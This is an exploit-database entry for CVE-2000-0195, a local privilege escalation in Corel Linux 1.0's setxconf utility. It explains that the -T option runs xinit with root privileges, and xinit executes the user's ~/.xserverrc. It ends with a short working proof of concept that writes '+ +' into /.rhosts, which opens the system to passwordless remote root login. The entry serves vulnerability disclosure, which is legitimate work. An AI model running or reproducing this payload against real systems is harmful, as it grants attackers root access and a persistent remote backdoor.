Corel Linux OS 1.0 - 'setxconf' Local Privilege Escalation

Related Vulnerabilities: CVE-2000-0195  
Publish Date: 24 Feb 2000
Author: suid
                source: http://www.securityfocus.com/bid/1008/info

A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.

cat > ~/.xserverrc
echo "+ +" > /.rhosts